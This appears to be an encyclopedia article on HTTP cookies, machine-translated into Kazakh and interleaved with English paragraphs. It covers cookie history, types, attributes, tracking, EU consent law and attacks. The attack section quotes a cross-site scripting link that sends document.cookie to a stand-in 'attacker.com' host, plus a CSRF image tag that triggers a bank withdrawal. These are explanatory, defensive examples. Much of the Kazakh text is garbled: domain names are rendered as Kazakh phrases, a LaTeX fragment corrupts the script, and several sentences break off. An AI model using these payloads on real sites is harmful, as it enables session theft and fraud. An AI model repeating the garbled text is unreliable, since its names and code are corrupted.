Кіріспе
Веб-браузерде сақталатын шағын деректер HTTP cookie (сонымен қатар веб-куки, интернет-куки, браузерлік cookie немесе жай ғана cookie деп аталады) - бұл веб-сервердің веб-серверде пайда болған шағын деректері, ол пайдаланушы веб-сайтты қарап жатқанда және пайдаланушының компьютеріне немесе басқа құрылғыға орналастырылған пайдаланушының веб-браузері. Веб-сайтқа кіру үшін қолданылатын құрылғыға cookie файлдары орналастырылады, ал пайдаланушының құрылғысына бір сеанс кезінде бірнеше cookie файлы орналасуы мүмкін. Cookie файлдары веб-сайтта пайдалы, кейде маңызды функцияларды атқарады. Олар веб-серверлерге пайдаланушының құрылғысында жай-күйді ақпараттарды (мысалы, интернет-дүкендегі сатып алулар себетіне қосылған заттар) сақтауға немесе пайдаланушының шолғыштану қызметін (оның ішінде белгілі бір батырмаларды шерту, жүйеге кіру немесе бұрын қай беттерді қарағандығын жазу) бақылауға мүмкіндік береді. Сондай-ақ, олар пайдаланушының бұрын нысандар өрістеріне енгізген, мысалы, есімдер, мекенжайлар, парольдер және төлем карталарының нөмірлері сияқты ақпаратты кейін пайдалану үшін сақтауға болады. Аутентификациялық cookie файлдарын веб-серверлер пайдаланушының жүйеге кіргенін және қай есептік жазбамен кіргенін растау үшін жиі қолданады. Cookie болмаса, пайдаланушылар өздерін сендірілетін ақпаратты қамтитын әрбір бетке кіріп, өздерін растауы керек. Аутентификациялық cookie-файлдың қауіпсіздігі, әдетте, оны берген веб-сайттың және пайдаланушының веб-браузерінің қауіпсіздігіне және cookie-файл деректерінің шифрланған-сырықталмауына байланысты. Қауіпсіздіктің осал тұстары cookie-файлдың деректерін шабуылшы оқуға, пайдаланушының деректеріне қол жеткізуге немесе cookie-файлға тиесілі веб-сайтқа (пайдаланушының сенімхаттарымен) қол жеткізуге мүмкіндік береді (мысалы, сайттар аралық скрипттер мен сайттар аралық сұраулар жасалмасын қараңыз). Трекерлік cookie файлдары, әсіресе үшінші тараптың трекерлік cookie файлдары, әдетте адамдардың шолғыштағы тарихын ұзақ мерзімді жазу үшін қолданылады. Бұл Еуропалық және АҚШ заң шығарушыларын 2011 жылы іс-қимылға шақырған құпиялылық мәселесі. Еуропалық заңдар барлық Еуропалық Одақ елдеріне бағытталған веб-сайттар пайдаланушылардан олардың құрылғыларына қажетті емес cookie файлдарын сақтамас бұрын "ақпаратты келісім" алуды талап етеді.
HTTP cookies (also called web cookies, Internet cookies, browser cookies, or simply cookies) are small blocks of data created by a web server while a user is browsing a website and placed on the user's computer or other device by the user's web browser. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session. Cookies serve useful and sometimes essential functions on the web. They enable web servers to store stateful information (such as items added in the shopping cart in an online store) on the user's device or to track the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to save information that the user previously entered into form fields, such as names, addresses, passwords, and payment card numbers for subsequent use. Authentication cookies are commonly used by web servers to authenticate that a user is logged in, and with which account they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by an attacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross site scripting and cross site request forgery for examples). Tracking cookies, and especially third party tracking cookies, are commonly used as ways to compile long term records of individuals' browsing histories a potential privacy concern that prompted European and U. S. lawmakers to take action in 2011. European law requires that all websites targeting European Union member states gain "informed consent" from users before storing non essential cookies on their device.
Атаудың шығу тегі
Cookie термині веб-браузер бағдарламалаушысы Лу Монтуллимен бірге пайда болды. Бұл термин "магиялық cookie" терминінен алынған, ол Unix бағдарламалаушылары қолданатын бағдарлама қабылдап, өзгертпей қайтаратын деректердің пакеті.
Тарих
1994 жылы маусымда компьютерлік бағдарламашы Лу Монтулли оларды веб-байланыста пайдалану идеясын ойлағанда, сиқырлы cookie файлдары есептеуде қолданылған болатын. Ол кезде ол Netscape Communications компаниясының қызметкері болды, компания MCI үшін электрондық коммерция бағдарламасын жасап жатыр еді. Винт Серф пен Джон Кленсин Netscape Communications компаниясымен техникалық талқылауларда MCI-ді білдірді. MCI серверлеріне транзакциялардың ішінара күйлерін сақтауға тура келмеді, бұл оларды Netscape-тен әрбір пайдаланушының компьютерінде осы күйді сақтаудың жолын табуды сұрауға мәжбүр етті. Cookie файлдары виртуалды сатып алу арбасын сенімді іске асыру мәселесін шешті. Джон Джаннандриямен бірге Монтулли сол жылы Netscape cookie-інің бастапқы спецификациясын жазды. 1994 жылы 13 қазанда шыққан Mosaic Netscape-тің 0.9beta нұсқасы cookie файлдарын қолдады. Кукилерді қолдау Internet Explorer 2-де 1995 жылдың қазан айында шығарылған. Бұл кезде cookie-файлдардың пайда болуы туралы көпшілікке мәлім емес еді. Әсіресе, cookie файлдары әдетті түрде қабылданды және пайдаланушыларға олардың бар екендігі туралы хабарлама берілмеді. Халық cookie туралы 1996 жылы 12 ақпанда Financial Times газетінде жарияланған мақаладан кейін білді. Сол жылы cookie-файлдар бұқаралық ақпарат құралдарында көп көңіл бөлінді, әсіресе құпиялылыққа әсер етуі мүмкін. Кукилер АҚШ Федералды сауда комиссиясының 1996 және 1997 жылдардағы екі отырысында талқыланды. Осы уақытта жарнама компаниялары үшінші тарап cookie файлдарын қолданып жүрді. RFC 2109 үшінші тарап cookie файлдарына қатысты ұсынысты Netscape және Internet Explorer орындамады. RFC 2109 2000 жылдың қазан айында RFC 2965 арқылы ауыстырылды. RFC 2965 Set Cookie2 бас өрісін қосты, оны ресми түрде "Netscape стилі cookie" деп аталатын бастапқы Set Cookie бас өрісіне қарағанда "RFC 2965 стилі cookie" деп атады. Cookie2 жиынтығы сирек қолданылады, бірақ 2011 жылдың сәуірінде RFC 6265 -де қолданылмай қалды, ол нақты әлемде қолданылатын cookie файлдарының нақты спецификациясы ретінде жазылды. Қазіргі заманғы браузерлер Set Cookie2 бас өрісін тани алмайды.
Сеанс cookie файлы
Сеанстық cookie (оның ішінде жадындағы cookie, уақытша cookie немесе тұрақты емес cookie деп те аталады) пайдаланушы веб-сайтты аралаған кезде уақытша жадында ғана болады. Сеанстық cookie файлдар пайдаланушы веб-браузерді жапқаннан кейін жарамдылық мерзімі бітеді немесе жойылады. Сеанстық cookie файлдар браузерде жарамдылық мерзімі белгіленбегендіктен анықталады.
Тұрақты cookie
Тұрақты cookie-файлдың мерзімі белгілі бір күні немесе белгілі бір уақыттан кейін аяқталады. Тұрақты cookie-файлдардың өмір сүру мерзімі үшін оның жаратушысы, пайдаланушы веб-сайтқа кірген сайын немесе пайдаланушы басқа веб-сайттан осы веб-сайтқа жататын ресурсты көрген сайын (мысалы, жарнама) оның ақпараты серверге жіберіледі. Осы себепті тұрақты cookie файлдарын кейде бақылаушы cookie файлдар деп атайды, өйткені оларды жарнама берушілер пайдаланушының веб-барлау әдеттері туралы ақпаратты ұзақ уақыт бойы жазу үшін пайдалана алады. Тұрақты cookie файлдары пайдаланушыларды веб-сайттардағы есептік жазбаларына тіркелуді сақтау, әр сапарда тіркелу деректерін қайтадан енгізуді болдырмау сияқты себептермен де қолданылады.
Қауіпсіз cookie
Қауіпсіз cookie тек шифрланған қосылым (яғни HTTPS) арқылы ғана жіберілуі мүмкін. Олар шифрланбаған қосылымдар арқылы (яғни HTTP) берілмейді. Бұл cookie-ді тыңдау арқылы cookie-ді ұрлаудың ықтималдығын азайтады. Cookie cookie-ге Secure жалаушасын қосу арқылы қауіпсіз болады.
Тек Http cookie-і
Тек http cookie-ге JavaScript сияқты клиенттік API-лер қол жеткізе алмайды. Бұл шектеу сайттар аралық скриптілер (XSS) арқылы cookie-терді ұрлау қаупін жояды. Алайда, cookie сайттар аралық іздену (XST) және сайттар аралық сұрау салуды жалғандау (CSRF) шабуылдарына бейім. Бұл қасиет cookie файлына HttpOnly жалаушасын қосу арқылы беріледі.
Бір сайттағы cookie
2016 жылы Google Chrome 51 нұсқасында Строгий, Лакс немесе None мүмкін мәндері бар SameSite атрибуты бар cookie-дің жаңа түрі енгізілді. SameSite=Strict атрибуты бар браузерлер тек бастапқы доменмен бірдей мақсатты доменге cookie-файлдарды жібереді. Бұл сайттар арасындағы қолдан жасалған сұрау салулар (CSRF) шабуылдарын тиімді түрде азайтады. SameSite=Lax көмегімен браузерлер cookie файлдарын мақсатты доменге сұрау салумен жібереді, тіпті ол бастапқы доменнен өзгеше болса да, бірақ тек GET (POST қауіпсіз емес) сияқты қауіпсіз сұраулар үшін, үшінші тарап cookie файлдары үшін емес (iframe ішінде). Attribute SameSite=None үшінші тарап (сайты аралық) cookie-ке рұқсат береді, алайда, браузерлердің көпшілігі SameSite=None cookie-ке қауіпсіз атрибутты қажет етеді. Same site cookie жаңа RFC жобасына "Cookies: HTTP State Management Mechanism" RFC 6265 жаңарту үшін енгізілген (егер мақұлданса). Chrome, Firefox және Edge бір сайт cookie файлдарын қолдай бастады. Роллоуттың кілті - SameSite атрибуты анықталмаған қолданыстағы cookie файлдарды өңдеу, Chrome осы қолданыстағы cookie файлдарды SameSite=None сияқты қарастырады, бұл барлық веб-сайттар / қосымшалар бұрынғыдай жұмыс істеуге мүмкіндік береді. Google бұл әдетті Chrome 80-де SameSite=Lax-ке өзгертуді жоспарлаған, ол 2020 жылдың ақпан айында шығарылады, бірақ үшінші тарап / сайттар арасындағы cookie-ке негізделген қосымшалар / веб-сайттардың бұзылуы мүмкіндігіне байланысты және COVID 19 жағдайларына байланысты Google бұл өзгерісті Chrome 84-ге кейінге қалдырды.
Суперпеченье
Суперкуки - бұл жоғары деңгейдегі доменнің (мысалы, com) немесе жалпыға ортақ жұрнақтың (мысалы, co. uk) бастамасы бар cookie . Қарапайым cookie файлдары, керісінше, белгілі бір домендік атаудан пайда болады, мысалы. com. Суперкукилер қауіпсіздік мәселесін туындатуы мүмкін, сондықтан оларды веб-браузерлер жиі бұғаттап қояды. Егер шабуылшы шабуыл жасаушы веб-сайтты бұғаттамаса, онда ол суперкуки орнатады және шабуыл жасаушы веб-сайтпен бірдей жоғары деңгейдегі доменді немесе жалпы жұрнақты пайдаланатын басқа веб-сайтқа заңды пайдаланушының сұранысын бұзады немесе оның кейіпкері бола алады. Мысалы, com-тің шығу тегі бар суперкуки, мысалы, жасалған сұранысқа зиянды әсер етуі мүмкін. com, егер cookie мысалынан туындамаса да. com. Бұл жалған тіркелуді немесе пайдаланушы мәліметтерін өзгерту үшін пайдаланылуы мүмкін. Қоғамдық жұрнақ тізімі суперкукилер төндіретін қауіпті азайтуға көмектеседі. Қоғамдық жұрнақ тізімі - домендік атаулардың жұрнақтарының дәл және жаңартылған тізімін ұсынуды көздейтін кросс-сатушы бастамасы. Браузерлердің ескі нұсқаларында жаңартылған тізім болмауы мүмкін, сондықтан олар белгілі бір домендерден суперкукилерге бейім болады.
Басқа қолданыстар
Supercookie термині кейде HTTP cookie-ке сүйенбеген технологияларды бақылау үшін қолданылады. 2011 жылдың тамызында Microsoft веб-сайттарында осындай екі суперкуки механизмі табылды: MUID (машинаның бірегей идентификаторы) cookie-терді қайта пайда ететін cookie-терді синхрондау және ETag cookie-тер. Бұқаралық ақпарат құралдарының назарына Microsoft кейіннен бұл кодты өшірді. 2021 жылғы блогтағы жазбада Mozilla суперкуки термині браузер кэшін пайдалануды сайттардағы пайдаланушыларды бақылау құралы ретінде қолданды.
Зомбилік печенье
Зомби cookie - бұл веб-сервердің келушінің компьютеріне немесе басқа құрылғыға жасырын жерде, келушінің веб-браузерінің арнайы cookie сақтау орнынан тыс орналастырған және бастапқы cookie өшірілгеннен кейін автоматты түрде HTTP cookie-ді кәдімгі cookie ретінде қайта жасайтын деректері мен коды. Зомби cookie бірнеше орындарда сақталуы мүмкін, мысалы Flash Local ортақ объектісі, HTML5 веб-жинақтау және басқа клиенттік жақтағы және тіпті серверлік жақтағы орындар, ал бір жерде жоқ болған кезде, басқа жерлерде сақталған деректерді пайдалана отырып, JavaScript кодымен жоғалған инстанция қайта құрылады.
Cookie қабырғасы
Веб-сайтта cookie қабырғасы пайда болады және пайдаланушыға веб-сайттың cookie файлдарын пайдалану туралы хабарлайды. Ол бас тарту опциясына ие емес және веб-сайтты бақылау cookie файлдарысыз қол жетімді емес.
Сессияны басқару
Кукилер бастапқыда пайдаланушыларға веб-сайт арқылы (виртуалды сатып алу арбасы немесе сатып алу себеті) жүзіп бара жатқанда сатып алғысы келетін бұйымдарды жазуға мүмкіндік беру үшін енгізілді. Кейін деректерді жинап, сауда-саттыққа қатысатын компанияларға сатады.
Cookie атрибуттары
Кукилер атауы мен мәнінен басқа бір немесе бірнеше атрибуттарға ие болуы мүмкін. Браузерлер серверге сұрау салуларда cookie атрибуттарын қамтымайды, олар тек cookie атауы мен мәнін жібереді. Cookie атрибуттарын браузерлер cookie-ді қашан өшіруді, cookie-ді блоктауды немесе cookie-ді серверге жіберуді анықтау үшін қолданады.
Мерзімі және ең жоғары жасы
Expires атрибуты шолғыштың cookie файлын өшіруіне арналған нақты күн мен уақытты анықтайды. Күн мен уақыт Wdy, DD Mon YYYY HH:MM:SS GMT түрінде немесе YY мәні 0-ден жоғары немесе 69-дан төмен немесе оған тең болса, Wdy, DD Mon YY HH:MM:SS GMT түрінде көрсетіледі. Сонымен қатар, Max Age атрибутын cookie-тің мерзімі өткен сәтке қарай, браузер cookie-ді алған уақытқа қатысты секунд аралығы ретінде орнатуға болады. Төменде пайдаланушы тіркелгіден кейін веб-сайттан алынған үш Set Cookie баслығы өрістерінің мысалы келтірілген: HTTP/1.0 200 OK Set Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=. мысал келтіріңіз. com; HttpOnly Set Cookie: conn=1295214458; Path=/; Domain= жазуға мәжбүр етті. мысал келтіріңіз. com Cookie орнатыңыз: reg fb gate=deleted; Күту мерзімі=Th, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=. мысал келтіріңіз. Бірінші cookie, lu, 2013 жылдың 15 қаңтарында аяқталады. Ол уақытқа дейін клиент браузері оны пайдаланады. Екінші cookie, жазу conn, мерзімі аяқталмайды, сондықтан ол сеанстық cookie болып табылады. Пайдаланушы браузерін жапқаннан кейін ол жойылады. Үшінші cookie, reg fb gate, өткенде мерзімі өткеннен кейін оның мәні өшіріледі. Браузер бұл cookie-файлды бірден өшіреді, өйткені оның мерзімі өткенде. Cookie файлдар тек Cookie файлын орнату өрісінің домен мен жол атрибуттары cookie файлын құру кезінде қолданылған мәндерге сәйкес келсе ғана жойылады. 2016 жылдан бастап Internet Explorer Max Age-ті қолдамайды.
HTTP/1.0 200 OK
Set Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=. example. com; HttpOnly
Set Cookie: made write conn=1295214458; Path=/; Domain=. example. com
Set Cookie: reg fb gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=. example. com; HttpOnly
The first cookie, lu, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, made write conn, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, reg fb gate, has its value changed to deleted, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the Set Cookie field match the values used when the cookie was created. as of 2016 Internet Explorer did not support Max Age.
HttpOnly қауіпсіз
Secure және HttpOnly атрибуттарының сәйкес мәндері жоқ. Керісінше, олардың атрибут атауларының болуы олардың мінез-құлқы рұқсат етілуі керектігін көрсетеді. Secure атрибуты cookie-мен байланысты шифрланған беріліске ғана шектеуді көздеп, браузерлерді тек қауіпсіз/шифрланған қосылымдар арқылы cookie-терді пайдалануға бағыттайды. Алайда, егер веб-сервер қауіпсіз емес қосылымнан қауіпсіз атрибуты бар cookie орнатса, онда ол пайдаланушыға жіберілген кезде, ортадағы адам шабуылдары арқылы cookie әлі де ұсталуы мүмкін. Сондықтан, барынша қауіпсіздікті қамтамасыз ету үшін Secure атрибуты бар cookie файлдары тек қауіпсіз қосылым арқылы орнатылуы тиіс. HttpOnly атрибуты шолғыштарға HTTP (және HTTPS) сұраныстарынан басқа арналар арқылы cookie файлдарын жарияламауды ұсынады. Бұл cookie-ке клиент жағындағы скрипт тілдері арқылы (әсіресе JavaScript) кіруге болмайды және сондықтан сайттар аралық скрипт арқылы (жаппай шабуыл жасау әдісі) оңай ұрлануға болмайды дегенді білдіреді.
Браузердің параметрлері
Қазіргі заманғы браузерлердің көпшілігі cookie файлдарын қолдайды және пайдаланушыға оларды өшіруге мүмкіндік береді. Келесі жалпы нұсқалар: cookie файлдарын әрқашан қабылдап тұру немесе әрқашан бұғатталу үшін оларды толық қосу немесе өшіру. Cookie менеджерін пайдалану арқылы cookie файлдарын қарау және таңдаулы түрде өшіру. Барлық жеке деректерді, соның ішінде cookie файлдарын да, толығымен өшіру. Cookie рұқсаттарын басқару үшін қосымша құралдар да бар.
To enable or disable cookies completely, so that they are always accepted or always blocked. To view and selectively delete cookies using a cookie manager. To fully wipe all private data, including cookies. Add on tools for managing cookie permissions also exist.
Үшінші тарап cookie-файлы
Cookie файлдары веб-пайдаланушылардың құпиялылығы мен анонимділігіне маңызды әсер етеді. Cookie файлдары тек оларды орнатқан серверге немесе сол Интернет доменіндегі серверге жіберілетін болса да, веб-бетке басқа домендердегі серверлерде сақталған суреттер немесе басқа компоненттер болуы мүмкін. Осы компоненттерді алу кезінде орнатылған cookie файлдары үшінші тарап cookie файлдары деп аталады. Үшінші тарап cookie адрестік жолақта көрсетілгеннен басқа доменге жатады. Бұл cookie түрі веб-беттерде сыртқы веб-сайттардың мазмұны, мысалы баннерлік жарнамалар көрсетілген кезде пайда болады. Бұл пайдаланушының шолғыштану тарихын қадағалауға мүмкіндік береді және жарнама берушілер әр пайдаланушыға тиісті жарнамаларды ұсыну үшін пайдаланады. Мысалы, бір пайдаланушы www. мысал келтіріңіз. org. Бұл веб-сайтта ad. Түлкі ізін табу. com, оны жүктеген кезде жарнаманың доменіне жататын cookie орнатылады (ad. Түлкі ізін табу. com) деп аталады. Содан кейін пайдаланушы басқа сайтқа кіреді, www. Фу. com, онда да жарнама бар. Түлкі ізін табу. com және осы доменге жататын cookie-ке (ad. Түлкі ізін табу. com) деп аталады. Осы cookie файлдардың екеуі де жарнама берушіге жарнаманы жүктеген кезде немесе оның веб-сайтына кіргенде жіберіледі. Жарнама беруші осы cookie файлдарын пайдаланушының осы жарнама берушіден жарнамалар бар барлық веб-сайттарда HTTP сілтемелеуші бас өрісін пайдалану арқылы шолғыштың тарихын құру үшін пайдалана алады. 2014 жылы кейбір веб-сайттар 100-ден астам үшінші тарап домендері үшін оқуға болатын cookie файлдарын орнатқан. Орташа алғанда, бір веб-сайт 10 cookie-файлды орнатады, ал cookie-файлдардың ең көп саны (бірінші және үшінші тарап) 800-ден асады. Cookie-ке арналған ескі стандарттар, RFC 2109 Firefox және Brave әдетті түрде барлық үшінші тарап cookie-ке тыйым салады. Safari кіріктірілген сайттарға бірінші тарап cookie файлдарын орнатуға рұқсат сұрату үшін Storage Access API-ны пайдалануға мүмкіндік береді. 2020 жылдың мамыр айында Google Chrome 83 жеке шолу үшін жасырын режимде үшінші тарап cookie файлдарын әдетті түрде бұғаттау үшін жаңа мүмкіндіктер енгізді, бұл қалыпты шолу кезінде бұғаттауды ерікті етеді. Бұл жаңартуда бірінші тарап cookie файлдарын бұғаттау опциясы да қосылды. 2024 жылдың сәуірінен бастап Chrome үшінші тарап cookie-ін 2025 жылға дейін блоктауды кейінге қалдырды.
Құпиялылық
Пайдаланушылардың профилін құру мүмкіндігі құпиялылыққа қауіп төндіреді, әсіресе үшінші тарап cookie файлдарын пайдалану арқылы бірнеше домендерде бақылау жүргізілген кезде. Осы себепті кейбір елдерде cookie файлдарына қатысты заңдар бар. Үшінші тарап cookie-файлдарды пайдалану туралы тұтынушыларға айтпаған веб-сайт операторлары cookie-файлдарды пайдалану туралы анықталса, тұтынушылардың сенімін бұзу қаупі бар. Жария ету (мысалы, құпиялылық саясатында) осындай cookie-терді табудың кез келген жағымсыз әсерін жоюға бағытталған. АҚШ үкіметі 2000 жылы ақ үйдің есірткі саясаты кеңсесі компьютер пайдаланушыларын есірткіге қарсы онлайн жарнамаларын көру үшін cookie файлдарын қолданғаны туралы мәлім болғаннан кейін cookie файлдарын орнату туралы қатаң ережелерді енгізді. 2002 жылы құпиялылық қорғаушы Дэниел Брандт ЦРУ өзінің веб-сайтына кірген компьютерлерде тұрақты cookie файлдарын қалдырып отырғанын анықтады. Бұл туралы хабарланған кезде, ЦРУ бұл cookie-файлдар қасақана орнатылмаған деп мәлімдеді және оларды орнатуды тоқтатты. 2005 жылдың 25 желтоқсанында Брандт Ұлттық қауіпсіздік агенттігінің (NSA) бағдарламалық жасақтаманы жаңартудан кейін келушілердің компьютерлерінде екі тұрақты cookie қалдырғанын анықтады. ҰҚК хабарлағаннан кейін, бірден cookie файлдарын өшірді.
ЕС cookie директивасы
2002 жылы Еуропалық Одақ жеке өмір мен электрондық коммуникация туралы директиваны (электрондық жеке өмір туралы директива) енгізді, бұл cookie файлдарын және пайдаланушылардың жабдықтарында ақпаратты сақтау және оған қол жеткізу үшін ұқсас технологияларды орналастыру үшін соңғы пайдаланушылардың келісімін талап ететін саясат. Атап айтқанда, 5-баптың 3-тармағында техникалық жағынан қажет емес деректерді пайдаланушының компьютеріне сақтау тек пайдаланушыға осы деректердің қалай пайдаланылатыны туралы ақпарат берілсе ғана жүзеге асырылуы мүмкін және пайдаланушыға осы сақтау операциясынан бас тарту мүмкіндігі берілуі тиіс деп талап етіледі. Директивада пайдаланушылардан олар сұраған қызметті ұсыну үшін функционалдық жағынан қажетті cookie файлдарын пайдалануға рұқсат беруді немесе хабарлама беруді талап етпейді, мысалы, параметрлерді сақтау, жүйеге кіру сессияларын сақтау немесе пайдаланушының сатып алу себетіндегі мәліметтерді есте сақтау. 2009 жылы заң 2009/136/EC Директивасымен өзгертілді, оның 5-бабының 3-тармағына өзгеріс енгізілді. Пайдаланушылар cookie файлдарын сақтаудан бас тартатын мүмкіндікке ие болудың орнына, қайта қаралған директива cookie файлдарын сақтауға келісім алуды талап етеді. Пайдаланушының ұялы құрылғысында ақпаратты сақтау немесе оған қол жеткізуден туындайтын келісім талаптарынан басқа, көптеген cookie файлдарындағы ақпарат GDPR бойынша жеке деректер ретінде қарастырылады және оларды өңдеу үшін құқықтық негіз қажет болады. Бұл 1995 жылғы деректерді қорғау туралы директивадан бері қолданылып келеді, онда жеке деректердің бірдей анықтамасы қолданылған, бірақ GDPR түсіндірме 30-шы ескертуде cookie идентификаторлары кіретінін анықтайды. Дегенмен, барлық деректерді өңдеуге GDPR бойынша келісімді талап етпесе де, мінез-құлықтық жарнаманың ерекшеліктері оны басқа негізде негіздеу қиын немесе мүмкін емес екенін білдіреді. GDPR және жеке өмір туралы директива бойынша келісім cookie файлдарына қатысты бірқатар талаптарға сәйкес болуы тиіс. Ол еркін және анық берілуі тиіс: алдын ала таңдалмаған қораптар 1995 жылғы деректерді қорғау туралы директива бойынша тыйым салынды GDPR келісімді "беру сияқты оңай қайтарып алу керек" деп нақты айтады. Еуропалық Одақтың Сот соты келісім "тиімді және уақтылы" болуы керек деп шешті, яғни ол cookie файлдары орналастырылмас бұрын және кейін емес, деректерді өңдеу басталғанда алынуы керек. Өнеркәсіптің жауабы негізінен теріс болды. Speechly Bircham заң фирмасының қызметкері Роберт Бонд "Барлық Ұлыбритания компаниялары үшін" әсері "қашықтықты және өте ауыр" деп сипаттады. Privacy International ұйымының қызметкері Саймон Дэвис бұл заңның дұрыс орындалуы "барлық индустрияны жояды" деп айтады. Алайда, ғалымдар cookie-тердің түйткілді сипаты бизнес-модельді GDPR-мен үйлеспейтін күрделі өтініштер арқылы жұмыс істеуді жалғастыруға тырысудан туындайтындығын атап өтті. Ұлыбританияның реттеушісі, Ақпараттық комиссардың кеңсесі 2019 жылы "Интерактивті жарнама бюросы" жарнамалық технология тобының "Ашықдық және келісім шеңберін" "өткіншілікті және қарапайым өңдеуді қамтамасыз ету үшін жеткіліксіз екенін және сондықтан еркін және хабардар келісімді қамтамасыз ету үшін жеткіліксіз екенін, бұл PECR [e Privacy] сәйкестігіне әсер етеді". Серверлер өздерінің құпиялылық саясатын браузерлерге жеткізу үшін P3P деп аталатын W3C спецификациясы ұсынылды, бұл автоматты, пайдаланушы конфигурациялайтын өңдеуге мүмкіндік береді. Алайда, кейбір веб-сайттар осы ерекшелікті іске асырады, ал W3C бұл ерекшелік бойынша жұмысты тоқтатты. Үшінші тарап cookie файлдарын көпшілік браузерлер жеке өмірін сақтау үшін және жарнамалық және іздеу компанияларының іздеуін азайту үшін, пайдаланушының веб-тәжірибесін барлық сайттарда теріс әсер етпей, бұғаттауға болады. Кейбір сайттар "cookie walls" (блогы бар cookie қабырғалары) деп аталады, олар сайтқа кіру үшін браузерде cookie файлдарына техникалық рұқсат беруді, "қабылдау" дегенді басуды немесе екеуін де талап етеді. 2020 жылы барлық ЕО деректерді қорғау реттеушілерімен құралған Еуропалық деректерді қорғау кеңесі cookie қабырғалары заңсыз деп мәлімдеді. Сервистер мен функционалдық мүмкіндіктерге қол жеткізуге еркін келісім беру үшін пайдаланушының ақпаратты сақтау немесе пайдаланушының соңғы құрылғысында сақталған ақпаратқа қол жеткізуге келісім беруіне байланысты болмауы керек (бұны cookie қабырғасы деп атайды). Көптеген жарнама операторлары мінез-құлықтық жарнаманы тоқтататын браузердег...
Сайт аралық скриптер: cookie ұрлығы
Cookie файлдарын сайттар аралық скриптер деп аталатын әдіспен ұрлау мүмкін. Бұл шабуылшы өзінің пайдаланушыларына сүзгіленбеген HTML және JavaScript мазмұнын орналастыруға мүмкіндік беретін веб-сайтты пайдаланғанда болады. Зыянды HTML және JavaScript кодтарын жариялау арқылы шабуылшы жәбірленушінің веб-браузерін шабуылшы басқаратын веб-сайтқа жәбірленушінің cookie файлдарын жіберуіне әкелуі мүмкін. Мысалы, шабуылшы www-ге хабарлама жариялауы мүмкін. мысал келтіріңіз. com келесі сілтемемен: <a href="#" onclick="window. орналасуы = 'http://attacker. Ком/стол. cgi?text=' + escape{\displaystyle cgi?text='+escape} құжаты. cookie); return false;">Бұл жерге басыңыз!</a> Басқа пайдаланушы осы сілтемені басқанда, браузер onclick атрибуты ішіндегі кодты орындайды, осылайша, қатарға құжат алмастырылады. cookie файлы, ағымдағы бетте қол жетімді cookie файлдарының тізімімен. Нәтижесінде, cookie файлдар тізімі шабуылшыға жіберіледі. com сервері. Егер шабуылшының зиянды жариялауы HTTPS веб-сайтында болса https://www. мысал келтіріңіз. com, қауіпсіз cookie файлдары да шабуылшыға жіберіледі. com қарапайым мәтінмен. Веб-сайтты жасаушылардың міндеті - мұндай зиянды кодты сүзгілеу. Мұндай шабуылдарды HttpOnly cookie файлдарын пайдалану арқылы азайтуға болады. Бұл cookie файлдарға клиент жағындағы скрипт тілдері, мысалы JavaScript қол жеткізе алмайды, сондықтан шабуылшы бұл cookie файлдарды жинап ала алмайды.
<a href="#" onclick="window. location = 'http://attacker. com/stole. cgi?text=' + escape(document. cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document. cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker. com server. If the attacker's malicious posting is on an HTTPS website https://www. example. com, secure cookies will also be sent to attacker. com in plain text. It is the responsibility of the website developers to filter out such malicious code. Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.
Сайт аралық скрипттеу: прокси сұранысы
Көптеген браузерлердің ескі нұсқаларында XMLHttpRequest API-ді іске асыруда қауіпсіздік тесіктері болды. Бұл API-ге сілтемелерге жауап алатын прокси-серверді белгілеуге мүмкіндік береді, ал бұл прокси-серверге бірдей шығу саясаты қолданылмайды. Мысалы, жәбірленуші шабуылшының www. мысал келтіріңіз. com, сонда шабуылшының скрипті құрбанның браузерінде орындалады. Скрипт www-ге сұрау салуды жасайды. мысал келтіріңіз. com прокси серверіне шабуыл жасағанмен. com. Сұраныс www. мысал келтіріңіз. com, барлық мысалдар. com cookie файлдары сұрау салумен бірге жіберіледі, бірақ шабуылшының прокси сервері арқылы бағытталады. Осылайша, шабуылшы құрбанның печеньесін жинап алады. Бұл шабуыл қауіпсіз cookie файлдарымен жұмыс істемейді, өйткені олар тек HTTPS қосылымдары арқылы ғана жіберілуі мүмкін, ал HTTPS протоколы аяқтан аяққа шифрлауды талап етеді (яғни ақпарат пайдаланушының браузерінде шифрланады және мақсатты серверде шифрланбайды). Бұл жағдайда прокси-сервер тек HTTP сұранысының шифрланған байттарын көреді.
Сайт аралық сұрау салуды жалғандау
Мысалы, Боб басқа бір пайдаланушы - Мэллоридің хабарламасын жариялаған чат-форумын қарап жатыр. Мәселен, Mallory Бобтың банкінің веб-сайтындағы әрекетті сілтемелейтін HTML кескін элементін жасады деп болжам жасайық (бейне файлынан гөрі), мысалы, <img src="http://bank. мысал келтіріңіз. Егер Бобтың банкі оның аутентификациялық ақпаратын cookie-де сақтаса және cookie-дің мерзімі аяқталмаса, онда Бобтың браузері суретті жүктеуге тырысқанда, оның cookie-імен бірге ақша алу формасын жібереді, осылайша Бобтың рұқсатысыз транзакцияны рұқсат етеді.
<img src="http://bank. example. com/withdraw?account=bob&amount=1000000&for=mallory">
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Піскенді ұрлау
